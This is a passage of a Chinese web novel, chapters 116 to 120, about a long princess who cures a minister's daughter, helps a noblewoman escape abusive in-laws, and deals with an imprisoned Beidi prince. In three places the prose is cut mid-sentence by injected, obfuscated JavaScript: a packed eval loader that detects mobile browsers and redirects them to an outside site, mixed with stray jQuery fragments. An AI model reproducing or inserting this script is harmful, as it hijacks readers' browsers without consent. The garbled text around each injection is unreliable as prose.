陈爱若眨了眨眼,她虽呆傻,可却能敏锐的察觉到旁人的情绪,眼前之人竟与那帮看似恭敬实则轻慢之人不同,她带着一身暖意,眸光中并无半丝厌恶和不耐。 陈爱若这才怯生生点了点头,转身轻轻坐在了床边。 商无忧的手不经意的在陈爱若头上、肩上划过,这才将金蛇簪插入她发中,夸赞道:“真漂亮!” 刘氏感激地道:“多谢殿下厚爱!” 商无忧垂下眼,刚刚她趁机探了陈爱若的脉息,这丫头如此痴傻,只因从胎中便带出的一种毒,既然是毒,她就有办法解! 刘爱若高兴的抚着头上金叉,惊喜地转过头,突然惊呼一声:“你、你怎么流血了?” 原来为陈爱若戴簪时,商无忧不小心扯到了伤口,胸前的纱布渗出点点血痕,霜姑姑见状忙不迭喝道:“快去拿止血丹药来!” 刘夫人的心一紧,忙一把将女儿扯到身后。 长公主虽一直和善,但宫里宫外素来传言其喜怒无常,若殿下因此怪罪爱若,可如何是好?! 思及此处刘夫人忙不迭道:“都怪小女鲁莽,害得殿下旧伤复发,臣妾等不敢打扰殿下养伤,这就先退下了!” “夫人且慢!” 被一众侍女团团围住的商无忧低低唤了一句,“本宫还有一盏甜茶,小姐和夫人若不弃,不如喝完了再走?” 刘夫人本不欲久留,但听长公主口气间似乎并未恼怒,这才垂手站在一侧。 商无忧手中举着杯茶,任两位侍女在身前忙碌着,她时不时眉头轻抽,忍受着胸前的刺痛,却从未呼过一声痛;不经意间、沾染了鲜血纱布的一角误入杯中,一抹血痕在水中氤氲…… 待换好了药,商无忧这才将手中甜茶递向陈爱若。 “请小姐满饮此杯,你的病可就全好了。” 陈爱若懵懂的点了点头,这个姐姐给自己的东西都是甜甜的,她很喜欢! 待看着她喝光了杯中水,商无忧面上露出个满意的笑,这才朝余霜道:“姑姑送夫人出去吧。” 刘夫人再次向长公主告别,这才带着女儿转身朝门外走去。 陈爱若呆呆的回头望向床上的漂亮姐姐,忽的咂了咂嘴,不明所以的挠了挠头,刚刚那甜水中为何有股子怪味呢…… 福童轻手轻脚的走了进来,他瞥了眼懒洋洋的长公主,低声朝余霜道:“光禄勋之妻孙夫人求见!” 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一进屋,便闻到一阵浓烈的血腥味,孙夫人本能的皱起眉,待看清床上一双碧眸的长公主正冷冷盯着自己,脸上忙不迭扬起个谄媚的笑容。 “臣妾光禄勋之妻孙氏,见过长公主殿下!” “大姑姐来了,姑姑还不快看座?” 商无忧看也未看孙夫人,只朝她身后的赵子芳露出笑脸,温声道:“本宫的伤叫你们担心了吧!你放心,再过几天本宫便能下床了。” 赵子芳刚要开口,一旁的孙夫人忙抢白道:“殿下吉人自有天相,这样的伤只需静养便能恢复如初。” 赵子芳这才慢悠悠朝商无忧施了个礼,淡淡道:“长公主遇险,妾心中不安,特带女儿前来探望。” 她低下头,拍了拍紧紧扒在自己怀中的小娃娃,轻声道:“玲珑,这就是你二婶婶!” 三岁的孙颖怯生生靠在母亲怀里,一双丹凤眼瞄向那长着一双碧眸的女子,害怕地撇了撇嘴,却依旧乖巧的叫了声:“二婶婶!” 第一百一十六章 如此亲家(二) 商无忧看了看女童,歪着头道:“这孩子快三岁了吧,怎么会如此瘦弱?!” 闻言赵子芳鼻头一酸,孙夫人见状忙抢过了话头。 “子芳莫要没规矩,咱们虽是殿下的亲眷,可殿下身份尊贵,怎可叫玲珑她一口一个‘婶婶’地乱叫?” 说着她一把将孙颖揽入怀中,故作亲昵道:“别听你娘胡说,此乃咱们大辉的长公主,你需恭恭敬敬地给殿下叩个头。” 商无忧皱了皱眉,“这孩子身子如此虚弱,还是免礼的好!” 孙夫人一边道“如何使得?”一边强按着孙颖下跪。 余霜冷冷横了她一眼,低声道:“咱们殿下向来说一不二,夫人如此多礼就不怕触怒长公主?” 孙夫人闻言这才悻悻住了嘴,可转过头又觉得长公主是故意叫她在儿媳妇跟前失了颜面。她一贯是个糊涂的,此时一肚子火无处撒,随性一把将孙女推了出去,转头朝赵子芳骂道:“丢脸的东西,早叫你别带这孩子出来,你偏不听!” 孙颖被她推了个趔趄,跌跌撞撞摔入母亲怀中,小小的人儿竟没哭泣,只把头埋进母亲胸口,一双纤弱的小手死死扒着母亲的衣裳。 赵子芳眸中闪过一丝恨意,她牢牢的护住女儿,一脸冷漠的偏过头。 商无忧对这婆媳之间的暗潮汹涌恍若未见。 她仔细端详起孙颖的气色,柔声问道:“这孩子实是先天不足,可后天的调养竟也没跟上。孙府可是勋贵人家,怎地连个孩子都养不好?若是府中没有好大夫,本宫可请父皇身旁的太医令来给小小姐瞧瞧!” 孙夫人连忙推辞,“一个女孩子,怎地就这般娇弱了……” 赵子芳瞥了她一眼,这才愤恨的朝商无忧道:“这孩子是早产的!臣妾怀她七个月时被府中的妾室惊了胎气;加之月子里调养不善、奶水不足,是以玲珑从小便体弱多病。我本想请人细心调养,可婆母以叫我养病为由强行将玲珑抱到了妾室的院子!殿下不知,孙府妾室众多,无人会对正室所处的嫡女多花上半丝心思……” “子芳你这话是什么意思?” 孙夫人撇了撇嘴,大声道:“你是在指责我儿苛待正妻嫡女吗?!你虽是国公府的嫡长女,却一贯善妒,是你自己心眼儿小、放不下事,玲珑可是在你的肚子里,你的孩子早场、却把罪责怪在咱们身上,不觉得太过强词夺理了吗?” “月子里你奶水不够,若不是我让彪儿的妾室帮忙喂养,这孩子只怕早就饿**!你不思感恩,反倒在殿下面前进孙家的谗言,难不成是盼着孙家臭了、你好带着这拖油瓶改嫁去?” 堂堂光禄勋的夫人,行事做派却堪比市井泼妇! 九龙池中一众人等闻言不由嗤之以鼻! 商无忧对她的话置若罔闻,转而对赵子芳道:“先天不足的孩子大多会夭折,可若后天调养得当,依旧能够延年。你可将玲珑带回国公府调养,再教以强身健体之术,不出三年,这孩子的身子便能强健起来。” 孙夫人闻言忙道:“这如何使得?!玲珑是我孙家的嫡女,为何要送到赵家去养?殿下此举岂不是昭告世人,说我孙家苛待幼子?” 赵子芳摸了摸女儿细软的发,语带苦涩道:“孙彪不会叫我带玲珑回去的……再说我已是嫁出去的女儿,怎好总回娘家叨扰。” 商无忧瞥了眼一脸得意的孙夫人,忽的大声道:“好歹是老国公的嫡女,这种寄人篱下的日子你还要过下去不成?” 赵子芳神色寂寥,揽着怀中的女儿喃喃道:“若不是怕连累娘家,我早就和孙家和离了……” “好个不忠不孝的忤逆娼妇,你这是仗着谁的势?!” 孙夫人尖利的指甲几乎要戳进赵子芳眼中,她扯着嗓子厉声责骂道:“我孙家可是高门显贵,我儿又人品相貌俱佳!你虽出身国公府,可入门三年却连个儿子都生不出,似你这等无德妇人也配提什么‘和离’?” “我孙家才是该休妻才对!” 商无忧闻言亦冷哼一声:“和离?!说的倒简单,和离后要如何生活你想过吗?” 孙夫人闻言忙随声附和:“就是!赵家早已不如从前煊赫,你们家的爵位不过就是个花架子,赵家没了顶门立户的人,又怎会容纳你个被婆家休弃之人?你虽是赵家嫡女,但带着个拖油瓶,日后还能找到什么好人家?我劝你把心思放端正,否则便是自寻死路!” 赵子芳眼中泛起泪光,若不是怕玲珑日后无人照拂,她早就一头碰**,如何还要受这样的腌臜气?! 玲珑抖着身子,不安地往赵子芳怀里钻了钻;赵子芳见状狠狠咬了咬牙,偏过头不再作声。 商无忧无聊地打了个哈欠,摆了摆手道:“本宫瞧玲珑这孩子甚好!既然她在光禄勋府调养不好身子,大小姐便和女儿在本宫这九龙池住上一段时间吧!本宫与国师**过医道,为小小孩童壮壮筋骨这样的事本宫手到擒来!大小姐今日便留下吧!” 赵子芳一脸震惊。 想是平时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649074|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压抑的久了,她今日一时激愤,竟在长公主驾前说出和离这样的话来;本以为长公主会因此恼了自己,没想到她竟提出让自己和女儿留在宫中! 她是聪明人,当然知道长公主此举是在为自己提供庇佑。 孙夫人闻言忙高声道:“殿下不可!赵子芳不懂规矩,玲珑又是个病秧子,若留在宫中只恐扰了殿下休息,还是叫她们跟臣妾一起回府吧……” “看来夫人是想做本宫的主了!” 碧眸中闪过一道寒光,商无忧的耐心已经告罄,她语气冰冷的道:“好个蠢妇!你也不出去打听打听,这宫中谁人敢违拗本宫之意?!你若再敢放肆,本宫便夺了你的诰命,叫人将你丢出九龙池!” 孙夫人瞪大双眼,没想到这长公主竟骄横至此,难不成她真敢…… 商无忧只需一眼便知她心中所想,这才冷冷道:“你以为本宫在吓唬你?瑾妃如何,淑妃又如何?!” “是自己滚出去,还是被本宫扔出去,你自己选一个吧!” 孙夫人脸色大变。 她这才想起,长公主是个喜怒无常的疯婆子! 连正经的朝廷命官都差点死在她的手上,她又怎会将自己这空有虚衔的“光禄勋之妻”放在眼中?! 思及此处,她忙不迭跪倒,口中连连告罪:“殿下恕罪,臣妾失仪了!” 红珠撇了撇嘴,冷冷讽刺道:“夫人还是快走吧,再不然殿下真要动手了!” 孙夫人鬓边渗出冷汗,她转过身、临走时还不甘地瞪了儿媳一眼,示意她别忘了为孙彪求官,之后才不情不愿地退出了寝殿。 “刚才本宫问你的话,你可听明白了?” 闻言赵子芳露出一抹苦笑,“我不过是过过嘴瘾——和离,我今后还能依靠谁……” “为何非要依靠旁人?” 商无忧一手托腮,歪头觑着她道:“和离的女人就不能活吗?!你是国公府的嫡女,念过书又**过武,还愁养不活自己和女儿?” 赵子芳一愣,“可孙家……” “你不用顾及孙家,” 商无忧勾起唇,低声道:“我知道今日是孙家逼着你来向我讨人情的。你若甘愿这辈子埋没于孙家,本宫便看在赵元婴的份上允了你所求,想来你今后在孙家的日子也会好过些;可你若想逃出生天,扬眉吐气的过后半辈子,本宫便助你一臂之力!” 赵子芳的心忽的炽热起来—— 她,果真还有选择吗?! 第一百一十七章 教女有方 “老爷,这可如何是好啊?!” 刘夫人心急如焚,她满目含泪的拉住大司农陈林的袍袖,焦急的啜泣道:“自若若从宫里归来便开始发热,如今已是第三天!任咱们请了多少大夫回来,若若就是不见醒,再这样下去若若这条命只怕是……” 一想到女儿要离她而去,刘夫人浑身的力气仿佛在瞬间被人抽干,她僵着身子、白着脸,整个人忽的倒在丈夫怀中。 陈林眼疾手快,忙一把将她揽入怀中,沉声安慰道:“你别怕,若若不会有事的……” “我苦命的女儿啊,她被人笑了这么多年的‘陈呆子’,可我这个做娘的、为着陈家的脸面又不好与人争执……若若是什么样子我不管,我只要她好好活着!” 刘夫人一双眼中悲伤满溢,低泣道:“得知长公主重获司命庇佑,我心中十分欢喜。本想着若若能沾一沾长公主的福气,可我的女儿、她为什么会是如今这个结果……” 陈林心头一酸。 他虽不信那等虚无缥缈的神鬼之事,但妻子这些年来一片苦心维护女儿,他又岂能不知?! 看着妻子悲痛的模样,他实在不知如何安慰,猛然间却听女儿的闺房中传来婢女的惊呼—— “来人啊,小姐醒了!” “若若小姐,您等等……” 门一开,只着单衣、披散着头发的陈爱若出现在陈氏夫妇面前。 “阿娘,你这是怎么了?” 见女儿平安无事的出了门,刘氏忙强撑着在陈林的搀扶下起了身,她来到女儿面前,颤抖的双手缓缓划过陈爱若潮红的面庞。 “若若,你可吓死娘了!” 陈爱若歪头想了半晌,忽道:“娘,女儿的病好了!” 女儿从小便一直前言不搭后语,刘氏对此早已见怪不怪,忙顺着她的话茬道:“这就好、这就好!” “阿爹、阿娘,咱们一家该进宫去拜谢长公主才是!” 刘夫人一愣。 上次拜见长公主差点要了女儿半条命,她怎敢再带着孩子入宫?! 这便出言安慰道:“若若别急,你还病着呢,待过两日再去也来得及……” 陈爱若摇了摇头,“那便来不及了!此番拜谢不仅女儿和阿娘要去,爹爹也该一同去才是。” “这是为何?” 听见父亲问话,陈爱若温和一笑,“长公主将‘陈呆子’变成了个正常人,难道爹爹不该亲自去叩谢吗?” 刘夫人还未反应过来,陈林却已看出女儿异于往常的表现。 天命神女真有这般能耐?! 他按下内心的激动,试探着道:“你从宫里回来之后便大病了一场,若是往后真能事事顺遂为父定是要去拜谢长公主的……” “女儿说的并非此事!” 陈爱若叹了口气,“从小到大我心里头似塞了团棉花,看到的事情想不明白、心里的话也说不清楚,自打那日见了殿下、心中竟渐渐清明起来。女儿原本是个痴儿,连累着父亲母亲受尽嘲笑,从今往后女儿立志要跟随长公主,必叫那些小人悔不当初!” 刘氏捂住了嘴,眼中的热泪夺眶而出—— 她这从小便痴痴傻傻、连话都说不利索的女儿,竟真的好了?! “若若,你真的、真的……” 陈爱若目中泛起一片柔雾,她一把揽住母亲的肩头,柔柔道:“阿娘,您为了若若操心了这么多年,实在辛苦了。” 刘氏的泪扑簌簌的流,她一把环住女儿瘦弱的身躯,忍不住放声大哭。 陈林眼中亦酸涩不堪,他转过头,无声的拭泪。 母女二人哭了许久,陈爱若这才擦了擦眼泪,轻声道:“长公主的滴水之恩,女儿必以涌泉相报!爹爹您身居高位,日后朝政上的事您可要多多协助长公主才是啊!” 刘氏亦不住附和,“若若说得对,长公主日后若有差遣,陈家万死不辞!” 陈林没应声。 倒不是他忘恩负义,可大辉朝堂波云诡谲——陛下疑心颇重、他又手握重权;如今长公主突然复起,若他贸然凑近,只怕…… “爹爹不必担心,长公主不是皇子,既不涉及皇位之争,陛下便不会对之过责;爹爹只需在殿下需要之时施以援手,便足以报答殿下的恩德。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649075|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈爱若忽的调皮一笑,“爹爹浸淫朝政多年,自是比我这个黄毛丫头更懂得揣度人心!您定能做到既不招人侧目、又能协助长公主!” 陈林叹了口气。 罢了,谁叫他陈家欠了长公主一个天大的人情呢! 他虽是文臣,却依旧能够在关键时刻为成一柄所向披靡的暗刃! ----------------- “玲珑你怎么不吃了,是不是这菜式不合胃口?” 商无翳很喜欢乖巧懂事的孙颖,她身上没有一丝世族大家贵女的骄纵之气,小小年纪竟学会了看人眼色行事,倒叫她这集万千宠爱于一身的的公主生出无限唏嘘。 孙颖摇了摇头,“公主殿下,我实在是吃不下了!” “叫什么公主啊?我比你虚长两岁,你叫我一声四姐姐就行!” 商无翳得意的挺起小小的胸脯。 真好! 终于也有人叫她做姐姐了! “小四你糊涂了!玲珑是本宫的外甥女,你们两个差着辈分,她怎么能管你叫姐姐?” 商无忧坐在床上,她一手托着腮,一手拿着颗瓜子随意的指点着在一旁吃饭的两个小娃娃,口中戏谑道:“按规矩,这孩子该管你叫一声婶娘才对!” 婶娘?! 她才不要玲珑叫她婶娘呢! 商无翳烦躁的摆了摆手,“我们两个这么小,还是各论各的好!” 说着她满含期盼的望向放下筷子的孙颖,轻声道:“玲珑,你说是吧?” 孙颖虽乖巧,骨子里却有骨子赵家的峥嵘之气,闻言便柔柔道:“娘说规矩不可废,可若真让玲珑叫四公主做婶婶,玲珑又实在喊不出口。从今往后我便称四公主做‘殿下’,如此既不失恭敬、又不至坏了公主兴致,如此可好?” 商无忧勾起唇,这小小的丫头竟有几分傲骨,倒叫她刮目相看! 若是旁人只怕早就顺着杆子爬上来,叫小四做“姐姐”了! 毕竟若是能攀上四公主这棵大树,玲珑日后在孙家的日子也能好过些! 赵子芳果真教女有方! 第一百一十八章 名声与性命究竟哪个重要 商无翳双肩一垮—— 呜呜,看来只有魏淑媛的孩子落地,她才能体验做姐姐的滋味了! 商无忧轻轻勾起唇,低声道:“小四,你带着玲珑出去消消食。” 这感情好! 宫里有那么多隐秘处,往常乳母、侍女将她看得甚严,她虽有心一探却拗不过这帮人朝母妃告密,如今好容易从宫外来了个乖巧的妹妹,终于能有人陪她玩儿了! 商无翳心头一喜,忽的一扫颓唐,站起身快步走到孙颖跟前,一把拉住她的手道:“玲珑你跟我来,宫里有好多有趣儿的地方,我带你去看看……” “小四你给我慢慢走!玲珑刚用完膳,不许你拉着她跑。还有,一个时辰之后她必须回九龙池!” 商无翳调皮的吐了吐舌头,大声道:“大姐姐放心,小四遵命!” 看着两个孩子手拉手离去的背影,赵元婴笑着跨进门来,朝躺在床上百无聊赖的商无忧道:“四殿下又带着玲珑出去玩儿了?公主顽皮、玲珑安静,她们两个性格迥异,却难得脾气相投,我瞧近日玲珑竟不似往日那般拘谨,想来定是殿下的功劳!” 商无忧点了点头,“无翳虽骄纵、却不刁蛮,就凭瑾妃能将她教导成如今这个样子,竟是在我意料之外……” 她瞥了眼赵元婴,顺手从他手中接过药碗,一口将那苦涩的药汁饮下,随后皱着眉拿起榻上桌案上祛味的蜜饯,低声道:“你姐姐可拿定主意了?” 闻言赵元婴渐渐收了笑意,忽的沉声道:“殿下让姐姐与孙家和离,就不怕姐姐被世人耻笑?” “那也总好过日后被孙彪那中山狼磋磨致死。” 商无忧懒洋洋的瞥着他,“孙家是什么人家国公爷比我清楚!早些年间你赵家得势,他们自然是要上赶着巴结大小姐的;可国公府一朝失权,孙家便欺辱她母女至此——你瞧瞧玲珑,那身子一阵风便能吹倒;再看看你姐姐,她脸上可还有一丝活人的气息?!” “她是和离,不是被休!和离后她可带着玲珑回娘家,日后也可寻人另嫁,为何非要在孙家这一棵树上吊死?再说有宁国公和本宫护着,满京都谁敢说她些什么?!” 商无忧说着不屑的哼了一声,寒声道:“旁人的议论和自家亲眷的性命比起来哪个重要,国公爷难道还分不清?还是说您宁愿踩着亲姐的尸骨,也非要给国公府留下个所谓的‘好名声’?” 赵元婴的心渐渐沉了下来。 商无忧见状继续道:“她的命她自己定,本宫不会替她做抉择!若是国公爷觉得本宫过于嚣张跋扈,往后你赵家之事本宫再不多嘴便是!” 赵元婴叹了口气。 长公主说的道理他岂会不知?! 可让姐姐“和离”这种话他无论如何也说不出口! 和离的女子,又带着个女儿,往后的日子真能过得舒心吗? 他与姐姐乃是一母同胞,若是姐姐愿意回归国公府,想必母亲和祖母也绝不会苛待,可姐姐那般要强,只怕会有寄人篱下之感…… 罢了,长公主说得对——所谓的名声怎能与姐姐的性命相比?! 可若真要与孙家和离,只怕也不是容易的事…… 商无忧横了他一眼,忽的沉声道:“大姑姐若打定主意和离,这与孙家谈判之事便包在本宫身上。都是在官场上混的,孙大人官拜光禄勋,又怎会是不识时务之人?至于孙夫人和他那个不成器的儿子,本宫自有办法应对!” ----------------- “玄王殿下还不肯说实话吗?” 昏暗的天牢中,夏逸被人五花大绑,如丧家之犬般伏于地上。闻言他艰难的抬起头,勉力笑道:“廷尉大人要本王说什么?那日本王去观礼,谁知祭礼上出了变故;本王一贯怜香惜玉,你家长公主又实在生的美艳,本王不忍她化作妖兽口中餐,这才出手相助。” “你们不思感恩,反倒将长公主的救命恩人囚禁在此处,究竟是何道理?” “听王爷的意思,本官倒是该感谢玄王了?” 廷尉淳于赫不屑冷笑,他俯下身,从怀中取出一物,在夏逸眼前晃了晃,沉声道:“北狄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649076|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇室暗卫身上都有狼头刺青,此物是从一个刺客胸口上剥下的皮,不如玄王殿下亲自瞧瞧,这上头究竟刺的是什么?” 夏逸眸光一寒! 北狄勇士的遗体落入辉人手中,竟被这般糟蹋…… 他心中愤怒,口中却道:“我北狄勇士若能成为皇室暗卫自是要在胸口刺上狼头,可胸口有狼头刺青的却不一定都是我北狄暗卫;眼下你我两国和谈在即,这欲加之罪还往廷尉大人慎言!” 淳于赫不屑冷笑,“玄王带人观礼刺客便出现了,偏他们身上刺着你北狄暗卫的图腾,天下间竟有这般巧合的事?” 夏逸呵呵笑道:“那可说不准!说不定是你家陛下行事刻薄,大辉朝中内讧,有人便趁机将此事栽在我北狄的头上……” “再说我北狄暗卫身上都有铜制腰牌,其上的花纹乃祭祀秘制,廷尉既说刺客是我北狄人,您可在他们身上搜出此物?” 淳于赫面色蓦的冷了下来。 夏逸见状深邃的双眼一弯,露出一口白牙:“有道是捉贼见赃,廷尉大人千万别中了旁人的奸计,放跑了真正的刺客!” 淳于赫将眼一厉,“说不定是你在行动前叫人下了他们的腰牌……” “若想定案,人证物证缺一不可!单凭几个身带刺青、身份不明的死尸便想污蔑北狄刺杀大辉皇帝,是否太过儿戏?” 夏逸说着脸上露出个讨好的笑容,“廷尉大人回去和你家陛下商量商量,本王是无辜的,还是早日将本王放出去吧!” 淳于赫微微一笑,“玄王若不想待在这天牢,需得拿出等价之物来交换!” 夏逸嘿嘿一笑,“玉玺并不在本王身上,那东西需随使团一起进京,本王亦不能……” “既然玄王如此不识抬举,那就好好在这天牢里待着吧!” 淳于赫说着冷冷的站起身,“本官虽想照应殿下,奈何力有不逮,您这每天的二十鞭刑是无论如何也免不了了!” “蛮夷之邦竟敢对我朝陛下不敬,若不叫你吃些苦头,你怎知我朝法度森严?!” 第一百一十九章 再见五皇子 行刑的士兵操起在烈酒中泡了许久的荆条,笑嘻嘻的走上前来。 “五皇子放心,上官交待过,玄王殿下是他国来使,断不能用寻常手段伺候。这藤条可是用老酒泡的,韧的很,小人包管玄王用上一个月也不会断!” 夏如风黑着脸,沉声道:“你们敢对我北狄皇室成员动刑?” “小人也是迫不得已!” 士兵笑的谄媚,朝夏如风躬身道:“陛下御前的大内官亲自来宣的旨,说是务必要问出实话来。上峰只得出此下策!不过殿下放心,这藤条的威力不比皮鞭,最多也就是个皮开肉绽,伤不到性命……” “本王子给的银子还不够?!” “殿下说笑了,您给的银子是不少,可一个子儿也没落尽小人兜里啊!” 士兵态度恭谨,语气间尽是明晃晃的贪婪。 “官老爷们只会动嘴皮子,他们如何知道小人的难处?又要刑罚、又要不伤身,还得问出实话来向皇帝交差,小人实在是难啊……” 夏如风冷着脸从怀中掏出一枚金锭子,随手丢入那士兵怀中。 “我不管你用什么法子,决不能让我皇兄受苦!” 士兵眼睛一亮,顿时眉开眼笑,他信誓旦旦道:“王子殿下放心,这一天不过二十鞭,小人保证玄王只见血不伤肉,那帮当官儿的绝看不出半分破绽……” 夏如风这才放下心来,“我要见玄王!” 士兵闻言却闪身挡在他身前。 “这可不行!” 夏如风眼中寒芒大胜,“一介小吏,你的胃口忒大了!” 士兵忙道:“金子是好,可小人也得有命花不是?这可是大辉天牢,不知有多少校事府的耳目潜藏其中,五皇子若有什么话,可由小人代为通传就是。” 他小心翼翼的朝左右望了望,忽的凑近夏如风耳旁,低声道:“玄王殿下说了,眼下风声太紧,五皇子想救人难如登天;玄王好歹是他国使节,只要刺杀之罪坐不实、他便不会有性命之忧…… “他嘱咐小人告知王子,请您进宫去见长公主、为他求情。” 夏如风一愣。 去求那个疯婆子,这有用吗? ----------------- “北狄五皇子,要见本宫?!” 商无忧一边奋力的往嘴里扒饭,一边道:“我与他可没什么交情,他来见我作甚?” 福童忙道:“这人都来了四五回了,每次来时就跟个木桩子似得站在宫门外,任凭奴婢如何询问就是不说话,只说有要事面见长公主。” “北狄皇子,果然高傲!” 商无忧将最后一块肘皮塞入口中,拿起一旁的帕子擦了擦嘴,沉声吩咐道:“既如此便将人请进来吧!” 夏如风沉着脸迈步走入九龙池,一抬眼便看见大辉长公主胸前包着厚重的纱布,斜斜的靠在软榻上,一双碧眼中含着丝嘲弄,正直直盯着自己瞧。 忽然间他想起那日在翟车中她对自己的戏弄—— 那时他恨不得立刻用弯刀割下她的头;可那一日,祭坛中那道如惊鸿般的身影却惊艳的撞如了他的眼中! 夏如风领教过她的张狂,也曾亲眼看着她被蛟**重伤,如今再见佳人,他的心再生不出一丝怨恨! 商无忧慵懒的托着腮,轻声笑道:“五皇子今日来的不巧,盼儿不在、本宫可画不好您的那副‘娥眉’!” 夏如风撇了撇嘴,“当日是如风无礼在先,长公主已经教训过了,您实在无需揪着此事不放……” 呦,这孩子今日是开窍了?! 商无忧勾了勾唇,轻声道:“五皇子来见本宫究竟所为何事?” “我皇兄因祭礼刺杀一事被皇帝投入天牢,长公主能不能帮帮他?” 闻言商无忧无声轻笑,“北狄皇子派人刺杀父皇,你叫本宫为他求情,岂非陷本宫于不义?” “刺杀皇帝的人不是我皇兄派的。” 夏如风说着抬起头,一双眼直直望如那双碧眸之中,忽的低声道:“皇兄带入城中的暗卫不过是做护卫之用,人手又少,便是趁乱刺杀也伤不了你家陛下分毫,此举无异于授人以柄,我们北狄人没那么傻。” “狼头谁都能刺,可容貌和发辫却做不得假!” 商无忧横了他一眼,冷 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夏如风一滞,忙道:“可二哥他确实是豁出性命去救长公主殿下的,此举也算将功补过,殿下就不能……” 商无忧将眼一瞪,厉声道:“若不是看着他出手相助的份上,父皇早就将他拖出去砍了,哪还轮得到你到我面前说嘴?!” 看着如泄气皮球般的少年,商无忧眼珠忽的一转。 “若你肯说出究竟是何人欲暗算本宫,本宫或许可以帮一帮玄王!” 夏如风苦笑道:“只可惜,我与二哥都不知对方底细……” “既如此,便送客吧!” “长公主且慢!” 夏如风上前一步,沉声道:“殿下若可能出手相助,我北狄自当投桃报李。殿下想要的东西,二哥知道下落……” 商无忧不屑的摇了摇头,“虽说为父皇寻回玉玺是大功一件,可本宫不愿招人红眼,这玉玺不争也罢!” 夏如风点了点头,“殿下想要的并非皇帝玉玺,而是皇后金印!” 第一百二十章 杀之而后快 “陛下,长公主求见!” 高淑妃正陪皇帝用膳,闻言不悦的皱起了眉—— 商无忧这丫头,莫不是故意与她作对?! 她这些日子被困永巷,好容易逮到机会能陪皇帝用个膳,这疯丫头又来搅和,是想绝了她复宠之路吗? 皇帝放下手中筷,低声朝施淳道:“谲儿的伤还没好,快让她进来!” 不多时,两个小内监抬着肩辇、将胸前缠着厚重纱布的长公主抬了进来。 商无忧一见皇帝便大声道:“父皇,儿臣有事要禀报父皇……” 皇帝叹了口气,朝跟在肩辇后匆匆赶来、一脸无奈的赵元婴道:“谲儿受了这么重的伤,你还纵着她胡闹?” 赵元婴深吸了口气,忽的俯身跪了下去。 “微臣无能,实在拦不住殿下……” 高淑妃见状撇了撇嘴,语带讽刺道:“长公主是个什么性子陛下难道不知?殿下犯了性连卫尉都不是其对手,宁国公手无缚鸡之力,如何拦得住她?” 她这一句话既贬损了赵元婴软弱无能、又数落了商无忧嚣张跋扈,当真一箭双雕! 商无忧岂会听不出?当即便反唇相讥—— “本宫与父皇说话,你乱插什么嘴?本宫的驸马可是父皇亲自挑的,你是在暗指父皇有眼无珠?” 高淑妃冷冷道:“本宫不过就事论事,长公主是否太过敏感了?本宫好歹是你的庶母,你怎可当着陛下的面这般与本宫说话!” 商无忧放松身子,斜斜往后靠去,口中不屑道:“娼妓之女,也配做本宫的庶母?” 淑妃心下大恨,厉声道:“本宫的母亲出身相府,殿下就不怕御史言官奏您个污蔑嫔妃之罪吗?” 商无忧冷哼一声,“还没坐上后卫呢,淑妃抖这威风给谁看?” “你……” “好了!” 皇帝威严的喝了一声,转头朝淑妃道:“谲儿就是这个脾气,你为何非要和晚辈争辩?若是谲儿被激的犯了病,朕唯你是问!” “可是……” 在皇帝威严的注视下,淑妃只得愤愤不平的将满腔委屈吞下,转过头去不说话。 “我儿有事只管讲来,可淑妃到底是你的长辈,你合该对她多些尊重才是……” 商无忧选择性的忽略了皇帝后半句话,只道:“儿臣听闻此次祭礼行刺乃是北狄皇室所为,听说玄王夏逸已被父皇关入天牢,儿臣请父皇严惩此人!” 皇帝思忖片刻,这才道:“刺客中确实有几个像是北狄人,只可惜死无对证,此事到底坐不实,加上和谈在即,朕不欲在此时节外生枝!” “再说那北狄玄王在蛟妖口中救下了你,朕若对之出手、岂不叫世人笑我大辉皇族是忘恩负义之辈?” 皇帝说着端起面前的酒杯,状似无意道:“北狄五皇子可是来向谲儿求情的,我儿反过头来要父皇严惩玄王,岂非有负五皇子所托?” 商无忧心头一凛—— 父皇果然在九龙池中布置了眼线! “夏如风那小鬼先前在国公府前冒犯儿臣,儿臣叫他在京都城中丢了脸;此番他以为来儿臣面前伏低做小便能助其兄长脱困,此举真不像北狄皇室所为!” 她不屑的撇了撇嘴,沉声道:“儿臣可不傻——北狄人扰乱祭礼的计划败露,无计可施下这才出手助儿臣降妖,这点小伎俩想必瞒不过父皇。再说助儿臣脱困的不止他夏逸一个,若非驸马和师兄以命相搏,儿臣断逃不出蛟妖之口!” 